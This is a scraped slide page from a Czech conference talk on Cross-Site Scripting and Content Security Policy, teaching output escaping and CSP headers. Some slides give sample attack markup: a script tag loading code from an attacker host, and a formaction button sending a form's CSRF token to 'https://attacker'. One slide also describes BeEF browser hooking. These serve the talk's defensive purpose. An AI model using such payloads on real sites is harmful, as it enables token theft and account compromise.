WordPress šablony a rychlost načítání (WordCamp Praha 2017)
WordPress šablony a  rychlost načítání (WordCamp Praha 2017)WordPress šablony a  rychlost načítání (WordCamp Praha 2017)
WordPress šablony a rychlost načítání (WordCamp Praha 2017)
 
Bezpečnost Wordpressu - 4. WP konference
Bezpečnost Wordpressu - 4. WP konferenceBezpečnost Wordpressu - 4. WP konference
Bezpečnost Wordpressu - 4. WP konference
 
CSS preprocesory
CSS preprocesoryCSS preprocesory
CSS preprocesory
 
ASP.NET 3.5 / futures
ASP.NET 3.5 / futuresASP.NET 3.5 / futures
ASP.NET 3.5 / futures
 
WordPress: Základy - bezpečnost 3x3
WordPress: Základy - bezpečnost 3x3WordPress: Základy - bezpečnost 3x3
WordPress: Základy - bezpečnost 3x3
 
WordCamp Praha 2016 - Bezpečnost WordPress
WordCamp Praha 2016 - Bezpečnost WordPressWordCamp Praha 2016 - Bezpečnost WordPress
WordCamp Praha 2016 - Bezpečnost WordPress
 
WordPress - základy bezpečnosti
WordPress - základy bezpečnostiWordPress - základy bezpečnosti
WordPress - základy bezpečnosti
 

More from Michal Špaček

Lámání a ukládání hesel
Lámání a ukládání heselLámání a ukládání hesel
Lámání a ukládání hesel
Michal Špaček
 
Fantom Opery, "VPN" a Secure Proxy v Opeře
Fantom Opery, "VPN" a Secure Proxy v OpeřeFantom Opery, "VPN" a Secure Proxy v Opeře
Fantom Opery, "VPN" a Secure Proxy v Opeře
Michal Špaček
 
Quality of Life, Multiple Lines of Defense
Quality of Life, Multiple Lines of DefenseQuality of Life, Multiple Lines of Defense
Quality of Life, Multiple Lines of Defense
Michal Špaček
 
Disclosing password hashing policies
Disclosing password hashing policiesDisclosing password hashing policies
Disclosing password hashing policies
Michal Špaček
 
Operations security (OPSEC) in IT
Operations security (OPSEC) in ITOperations security (OPSEC) in IT
Operations security (OPSEC) in IT
Michal Špaček
 
HTTP Strict Transport Security (HSTS), English version
HTTP Strict Transport Security (HSTS), English versionHTTP Strict Transport Security (HSTS), English version
HTTP Strict Transport Security (HSTS), English version
Michal Špaček
 
HTTP/2
HTTP/2HTTP/2
The problem with the real world
The problem with the real worldThe problem with the real world
The problem with the real world
Michal Špaček
 
Defense in Depth Web Inkognito 12/2013
Defense in Depth Web Inkognito 12/2013Defense in Depth Web Inkognito 12/2013
Defense in Depth Web Inkognito 12/2013Michal Špaček
 
Bezpečnost webových aplikací Web Inkognito VŠE 05/2013
Bezpečnost webových aplikací Web Inkognito VŠE 05/2013Bezpečnost webových aplikací Web Inkognito VŠE 05/2013
Bezpečnost webových aplikací Web Inkognito VŠE 05/2013Michal Špaček
 

More from Michal Špaček (10)

Lámání a ukládání hesel
Lámání a ukládání heselLámání a ukládání hesel
Lámání a ukládání hesel
 
Fantom Opery, "VPN" a Secure Proxy v Opeře
Fantom Opery, "VPN" a Secure Proxy v OpeřeFantom Opery, "VPN" a Secure Proxy v Opeře
Fantom Opery, "VPN" a Secure Proxy v Opeře
 
Quality of Life, Multiple Lines of Defense
Quality of Life, Multiple Lines of DefenseQuality of Life, Multiple Lines of Defense
Quality of Life, Multiple Lines of Defense
 
Disclosing password hashing policies
Disclosing password hashing policiesDisclosing password hashing policies
Disclosing password hashing policies
 
Operations security (OPSEC) in IT
Operations security (OPSEC) in ITOperations security (OPSEC) in IT
Operations security (OPSEC) in IT
 
HTTP Strict Transport Security (HSTS), English version
HTTP Strict Transport Security (HSTS), English versionHTTP Strict Transport Security (HSTS), English version
HTTP Strict Transport Security (HSTS), English version
 
HTTP/2
HTTP/2HTTP/2
HTTP/2
 
The problem with the real world
The problem with the real worldThe problem with the real world
The problem with the real world
 
Defense in Depth Web Inkognito 12/2013
Defense in Depth Web Inkognito 12/2013Defense in Depth Web Inkognito 12/2013
Defense in Depth Web Inkognito 12/2013
 
Bezpečnost webových aplikací Web Inkognito VŠE 05/2013
Bezpečnost webových aplikací Web Inkognito VŠE 05/2013Bezpečnost webových aplikací Web Inkognito VŠE 05/2013
Bezpečnost webových aplikací Web Inkognito VŠE 05/2013
 

XSS PHP CSP ETC OMG WTF BBQ

  • 1. Michal ŠpačekMichal Špaček www.michalspacek.czwww.michalspacek.cz @spazef0rze@spazef0rze XSS PHP CSP ETC OMG WTF BBQXSS PHP CSP ETC OMG WTF BBQ O útoku Cross-Site Scripting, hovězím, Content Security Policy i všem ostatním. Tyto slajdy obsahují poznámky, které v původní přednášce nejsou. https://commons.wikimedia.org/wiki/File:Standing-rib-roast.jpg
  • 2. XSS Cross-Site Scripting Útok Cross-Site Scripting (XSS) poprvé popsal David Ross z Microsoftu už v roce 1999. Od té doby je na webu stále k vidění, nezmizel a pořád je tu s námi. Vývojářům se ho totiž nedaří moc eliminovat, i přesto, že o XSS už alespoň jednou v životě slyšeli.
  • 3. Cross-Site Scripting se nevyhýbá ani známým, leč nejmenovaným firmám. Podívejte se na zeď slávy jedné takové a uvidíte, kolikrát se na jejich webu objevil. Jednička v alertu na stránce je pro spoustu lidí ten útok XSS, ale to vůbec není vše, co dokáže.
  • 4. Názvy foo, bar, foobar a další slouží pro případ, kdy nevíte, jak něco pojmenovat. Já když nevím, tak to pojmenuju nějak takto. Můj SSH klíč je sice můj dobrý kamarád, ale přesto bych nevěděl, jak jinak ho pojmenovat.
  • 5. Trochu mě překvapilo, když na mě po uložení klíče na další stránce vyskočil náš starý známý alert. V tomto případě šel Cross-Site Scripting použít k získání uživatelovo CSRF tokenu z cookie, stačilo mu poslat odkaz na stránku, bez JavaScriptu v URL – tomu se říká Stored XSS. Za nahlášení tohoto problému mě Atlassian zařadil do Security Hall of Fame, díky!
  • 6. LastPass nepoužívám jako svůj hlavní password manager, takže náhodně vygenerované hlavní heslo mám napsané v jiném správci hesel. Není tedy nic, co by mi ho připomnělo. A když nevím co napsat, tak programuju v JavaScriptu.
  • 7. Po uložení na mě zase vyskočil nějaký alert, tentokrát ale JavaScript na tomto místě nešel k ničemu zneužít. I přesto mě do síně slávy LastPassu zařadili a nahlášení tenkrát ocenili 5 body, díky.
  • 8. echo $row->username; Z pohledu vývojáře vypadá útok Cross-Site Scripting například takhle. Dostanete za úkol něco vypsat, tak to vypíšete. Narozdíl od například vyhledávacího políčka vás ani nenapadne ošetřovat uživatelské jméno. Asi byste se divili, kolik uživatelů si do něj schválně vloží nějaký roztomilý JavaScript. Ten se pak spouští na každé stránce, kde se jméno vypisuje, tedy například i v administraci e-shopu.
  • 9. Další až příliš častá varianta XSS vypadá třeba takto. JavaScript, nebo v tomto případě obrázek, je vložený přímo do URL a uživatel musí na web přijít přes tuto speciálně upravenou adresu. Této variantě se říká Reflected XSS. Jen pro jistotu, ten obrázek na web nepatří, ačkoliv se tam vlastně docela hodí.
  • 10. The Browser Exploitation Framework (BeEF) Project Demo The Browser Exploitation Framework usnadňuje spouštění útoků XSS. Pomocí něj je možné ovládat více browserů, které jsou připojené (hooked) na BeEF server. Browser můžeme donutit zahrát nějakou písničku, získávat z něj stisknuté klávesy nebo v něm zobrazit falešný přihlašovací formulář. Ukázku naleznete ve videu přibližně od 14. minuty.
  • 11. echo htmlspecialchars($row->username); Pokud se chcete bránit útoku Cross-Site Scripting, měli byste veškerý uživatelský vstup včetně uživatelského jména ošetřovat pomocí funkce htmlspecialchars().
  • 12. <script> var tracking = '<?php echo … ?>'; </script> Pokud budeme vypisovat uživatelský vstup do JavaScriptu, tak jen samotné htmlspecialchars($vstup) nemusí stačit. V JavaScriptu se řetězce uzavírají do jednoduchých uvozovek (apostrofů) a htmlspecialchars() standardně apostrofy nepřevádí.
  • 13. echo htmlspecialchars( $row->name, ENT_QUOTES ); Abyste htmlspecialchars() donutili převádět i apostrofy, musíte přidat příznak ENT_QUOTES. Jenže kvůli převodu 4 znaků (<, >, ", ') je tohle poměrně dlouhý zápis.
  • 14. {$row->username} Nejlepší věc, co můžete udělat pro obranu proti Cross-Site Scriptingu je použít nějaký šablonovací systém, který výstup správně a sám automagicky ošetřuje. Nemůžete pak na ošetření zapomenout. Toto je ukázka správně ošetřeného výpisu uživatelského jména v Nette, resp. v šablonovacím systému Latte.
  • 15. $el = Html::el() →add('Uživatel ') →add(Html::el('b')→add($row name→ )) →add(' přidán'); $this→flashMessage($el); Při použití frameworků a šablonovacích systémů je potřeba dávat pozor na jejich správné použití. Framework Nette obsahuje hezkou třídu pro vytváření HTML kódu, která se dá použít například pro zobrazování flash message s formátováním zprávy. Najdete v této ukázce zobrazení flash message „Uživatel Michal přidán“ chybu, která umožňuje provést XSS? Aktualizace: v Nette/Utils 2.4.0 byla metoda add() přejmenována na jasnější addHtml() a byla přidána nová metoda addText().
  • 16. $el = Html::el() →setText('Uživatel ') →add(Html::el('b')→setText($row name))→ →add(Html::el()→setText(' přidán')); $this->flashMessage($el); Místo metody add() byste měli použít metodu setText(), ta ošetřuje uživatelský vstup. Slova „Uživatel“ a „přidán“ bychom sice mohli připojit pomocí add(), ale pro jistotu použijeme také setText(). V budoucnu by totiž někdo mohl text nahradit za uživatelský vstup a nemusel by si všimnout, že má změnit i jméno metody. Aktualizace: v Nette/Utils 2.4.0 byla metoda add() přejmenována na přesnější addHtml() a byla přidána nová metoda addText(), tu můžete použít také.
  • 17. XSS Auditor/Filter Weboví vývojáři zapomínají vstupy ošetřovat a zapomínat budou z různých důvodů i nadále. Proto se výrobci browserů už před časem rozhodli, že zavedou několik dalších úrovní obrany, které mohou problém do jisté míry zmenšit. Jedna z takových úrovní je tzv. XSS Auditor (někdy nazýváno jako XSS filtr), který je v Chrome a IE. Do Firefoxu si ho můžete přidat instalací rozšíření NoScript. XSS filtr může zabránit útoku Reflected XSS tím, že v požadavku, např. v adrese nebo formulářových polích hledá JavaScript a zkoumá, jestli se nevrátil v odpovědi serveru a pokud ano, tak jeho spuštění zablokuje, ale stránku zobrazí.
  • 18. X-XSS-Protection: 1; mode=block „Vyčištění“ stránky je defaultní nastavení. XSS auditor se někdy nemusí správně trefit a může zablokovat spuštění správného JavaScriptu nebo při pokusu o „opravu“ stránky právě může nějaký Cross-Site Scripting vyrobit. Proto je lepší ze serveru poslat hlavičku zobrazenou výše a filtr nastavit do režimu block. Nebo ho úplně vypnout pomocí hodnoty 0.
  • 19. X-XSS-Protection: 1; mode=block; report=https://… Hlavička X-XSS-Protection má nestandardní rozšíření report. Hodnotou tohoto parametru je adresa, na kterou browser návštěvníka pošle report, pokud se XSS auditor aktivuje. Vy se tedy dozvíte, jestli na webu někde máte možnost Reflected XSS provést. Report podporuje WebKit a Chromium a prohlížeče na nich postavené.
  • 20. request-url + request-body Browser na uvedenou adresu pošle JSON se dvěma klíči, request-url a request- body. Dozvíte se tedy na jaké adrese je možné XSS provést a jaký požadavek aktivaci XSS auditoru způsobil a problém pak můžete vyřešit. Reporty si můžete posílat do vlastní aplikace, v budoucnu by tento typ reportů mohl umět i nástroj report-uri.io.
  • 21. CSP Content Security Policy Content Security Policy umí zabránit i ostatním typům XSS útoků, nejenom Reflected variantě. CSP podporují všechny moderní browsery (Chrome, Firefox, Edge a některé další) a spočívá v tom, že browseru pomocí whitelistu řeknete, které zdroje (např. JavaScript, obrázky a další) a odkud může do aktuálně zobrazované stránky načítat. Pokud chcete CSP používat pro weby psané v Nette, sledujte vývoj balíčku spaze/csp-config na GitHubu.
  • 22. Content Security Policy je v podstatě obyčejná HTTP hlavička, kterou server prohlížeči posílá. Obsah té hlavičky může být poměrně dlouhý, podle toho, co všechno chci browseru povolit. Hlavička také může být na každé stránce jiná.
  • 23. Content-Security-Policy: default-src 'self' Základní nastavení, které byste mohli chtít používat je defaultně povolit načítání obrázků, JavaScriptů a dalších zdrojů pouze z domény, na které je umístěna načítaná stránka. To zajistíme použitím direktivy default-src a hodnoty 'self' v apostrofech. Browser pak například JavaScript vložený do stránky pomocí <script src=//útočník/útok.js></script> nenačte a to i přesto, že v HTML taková značka opravdu bude. Přísnější je nastavení default-src 'none', které zakáže načítání všeho odkudkoliv. Nebojte, postupně jednotlivé typy zdrojů povolíme.
  • 24. Content-Security-Policy: default-src 'self'; img-src 'self' https://www.google-analytics.com CSP direktiva img-src určuje, odkud může browser načítat obrázky. Hodnotou 'self' říkám, že je mohu načítat pouze z aktuální domény a druhou hodnotou https://www.google-analytics.com říkám, že prohlížeč načte i obrázky vložené pomocí <img src=https://www.google-analytics.com/...>. Google Analytics si do stránky vkládá obrázek pomocí JavaScriptu, pro správnou funkčnost to musíme tedy povolit. Ostatní zdroje, například kaskádové styly se načtou pouze ze 'self' domény, povolí to direktiva default-src. Hlavička by samozřejmě měla být na jedné řádce, na slajdech je rozdělena z důvodu nedostatku místa.
  • 25. Content-Security-Policy: default-src 'self'; img-src 'self' https://www.google-analytics.com; script-src 'self' https://www.google-analytics.com Direktivou script-src určujeme, odkud browser může stáhnout a spustit JavaScript. Hodnoty 'self' a https://www.google-analytics.com opět říkají, že do stránky se může stahovat JavaScript pouze z aktuální domény a z domény https://www.google-analytics.com. Nespustí se dokonce ani inline JavaScript, tedy kód napsaný mezi značkami <script> a </script> nebo v atributech jako onmouseover, onerror apod.
  • 26. Content-Security-Policy: default-src 'self'; img-src 'self' https://www.google-analytics.com; script-src 'self' 'unsafe-inline' Pokud byste takový inline JavaScript chtěli spouštět, musíte přidat hodnotu 'unsafe-inline'. Už z názvu je vidět, že tvůrci specifikace CSP považují inline JavaScript za nebezpečný. Mohl ho do stránky totiž vložit útočník. Používat inline JavaScript bych nedoporučoval, nepříjemné ale je to, že bez něj nefungují některé nástroje jako například Google Tag Manager. Pokud ho na stránkách používáte, musíte mít 'unsafe-inline' povolené. Content Security Policy Level 2 přidává možnost k inline JavaScriptu připojit hash nebo token pro ověření, čímž se zaručí, že přímo ve stránce bude spuštěn pouze JS, který je předem známý. Podpora tohoto způsobu zatím není v browserech moc rozšířená, bohužel.
  • 27. Content-Security-Policy: default-src 'self'; img-src 'self' https://www.google-analytics.com; script-src 'self' https://www.google-analytics.com; frame-src https://www.youtube-nocookie.com Když do stránky budete chtít vložit nějaký iframe, například video z YouTube, tak musíte doménu povolit pomocí direktivy frame-src. Tato direktiva musí být uvedena i když byste chtěli do stránky vložit frame z vaší domény, default-src 'self' totiž nezahrnuje frame-src. Direktiva frame-src je zastaralá, v novější verzi CSP je nahrazena direktivou child-src a ta již do default-src spadá. Tu bohužel nepodporuje třeba Safari a nejčastěji to dopadá tak, že se prostě pošle child-src a frame-src zároveň, se stejnými hodnotami.
  • 28. Content-Security-Policy: default-src 'self'; img-src 'self' https://www.google-analytics.com; script-src 'self' https://www.google-analytics.com; frame-src https://www.youtube-nocookie.com; form-action 'self' CSP umí pomocí direktivy form-action omezit URI, na které se odesílají formuláře na stránce. Direktiva do default-src také nespadá. Pomocí form-action 'self' říkám, že formuláře bude možné odeslat pouze na aktuální doménu. Útočník tak nemůže vložit nějaký falešný formulář, který si odešle k sobě.
  • 29. <input type=submit form="form1" formaction="https://attacker" > V HTML 5 je možné do stránky vložit odesílací tlačíko i mimo samotný formulář a pomocí atributu form ho s tímto formulářem propojit. Pomocí formaction mu pak dokonce mohu změnit adresu, kam se formulář odešle. Velkým tlačítkem s nápisem „Neklikejte sem“ tak mohu uživateli ukrást třeba statický CSRF token. Tomuto typu útoku se říká Scriptless Attack a nejen kvůli němu byste měli omezit, kam vaše formuláře lze odesílat.
  • 30. Content-Security-Policy: default-src 'self'; img-src 'self' https://www.google-analytics.com; script-src 'self' https://www.google-analytics.com; frame-src https://www.youtube-nocookie.com; form-action 'self'; report-uri https://….report-uri.io/r/… Content Security Policy také nabízí reportování, pokud k porušení nějaké nastavené politiky v browseru dojde. Prohlížeč na zadanou adresu opět odešle JSON, tentokrát trochu větší. Přijímání a zobrazování reportů si můžete napsat sami, ale je výhodnější použít službu report-uri.io. Uživatelé mají totiž zavirované počítače, jsou připojení na zákeřných Wi-Fi sítích, které do stránek vkládají reklamy, nebo mají jen nainstalované špatně napsané extenze prohlížečů a tohle všechno zaručí, že vám těch reportů bude chodit celkem dost.
  • 31. Napsat správně zobrazování reportů není zrovna lehké a je zbytečné to dělat znovu. Služba report-uri.io umí přehledně zobrazovat reporty, vytvářet grafy apod. a pomůže vám zjistit, kde je problém. Výše je vidět report, který mi oznamuje, že jsem udělal chybu na svém webu, pokusil jsem se totiž vložit obrázek ze špatného umístění, které není povolené. Můj admin totiž nemá povoleno vkládat obrázky z https://admin.michalspacek.cz. Bezpečnostní útok by byl hlášen podobně.
  • 32. Content-Security-Policy-Report-Only: default-src 'self'; img-src 'self' https://www.google-analytics.com; script-src 'self' https://www.google-analytics.com; frame-src https://www.youtube-nocookie.com; form-action 'self'; report-uri https://….report-uri.io/r/… Zavádět CSP na existující web není jednoduché. Musíte udělat inventuru všech měřících kódů na webu, zjistit co na stránky všechno vkládáte a to zabere nějakou dobu. CSP vám může pomoci. „Report Only“ varianta se zapíná hlavičkou Content- Security-Policy-Report-Only a říká browseru, že když dojde k porušení nějaké nastavené politiky, tak má sice poslat report, ale akci (zobrazení obrázku, spuštění JS) má stejně provést. To se právě hodí pro zavádění CSP na běžící web. V logu pak najdete co ještě máte povolit, pokud to dává smysl.
  • 33. Michal ŠpačekMichal Špaček www.michalspacek.czwww.michalspacek.cz @spazef0rze@spazef0rze Tatra sice nezná bratra, ale je to jednička. Začněte používat CSP a buďte lepší!